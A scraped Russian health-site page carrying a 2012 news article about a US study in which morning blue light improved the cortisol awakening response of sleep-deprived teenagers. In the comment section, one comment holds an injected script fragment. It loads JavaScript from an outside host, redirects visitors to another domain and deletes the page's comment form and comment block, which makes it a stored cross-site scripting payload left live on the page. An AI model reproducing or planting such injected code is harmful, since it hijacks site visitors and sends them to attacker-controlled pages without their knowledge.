Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Синий свет спасет от стре...  >>  Синий свет спасет от стресса
 
Обратная связь
 

Синий свет спасет от стресса

Размер шрифта
11 декабря 2012 00:00
Юрий Малышев
Здоровье инфо
Анна Белевская
Здоровье инфо
  • google_analytics: false
  • Нравится

Американские ученые обнаружили, что синий свет помогает подросткам, которые мало спят, справиться со стрессом.

синий свет стпасает от стресса

Уровень гормона кортизола, который вырабатывается в надпочечниках, меняется в течение суток. В дневные часы концентрация кортизола низкая, а в ночные она постепенно повышается. Кроме того, в первые 30-60 минут после пробуждения происходит резкий подъем уровня кортизола. Данный феномен носит название кортизоловая реакция пробуждения. Хорошая кортизоловая реакция говорит о том, что организм к стрессовым ситуациям и решению проблем готов.

Суть исследования

В исследовании приняли участие подростки в возрасте от 12 до 17 лет. Исследование состояло из трех этапов с интервалом между ними не менее одной недели. На каждом этапе подростки ложились спать в половине второго ночи и вставали в шесть утра. По утрам одна часть подростков подвергалась воздействию синего света, а другая – оставалась при тусклом освещении. 

Полученные результаты свидетельствуют о том, что синий свет улучшает кортизоловую реакцию пробуждения у подростков, которые мало спят. «Синий свет помогает телу проснуться и подготовиться к предстоящему дню», – поясняет автор исследования Мариана Фигуэйро. «Оказалось, что мы можем легко избавить подростков от стресса – достаточно использовать по утрам синий свет».

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:27

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Как определить тип недержания мочи?   Болезни-близнецы. Депрессия и гипотиреоз   Как мы реагируем на стресс   Мужчины против женщин. Кто лучше?  
23 октября 2012Мама может спасти своего ребенка от стресса 21 февраля 2012Стресс против ожирения
 
25 ноября 2011Сон облегчает переживания 09 ноября 2011Угарный газ успокаивает жителей городов
 

Слайдшоу

1
Вся правда о депрессии
7 признаков, что ваш иммунитет сдает!
Почему у вас болит голова? Самые неожиданные причины

Тесты

Есть ли у вас анемия?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.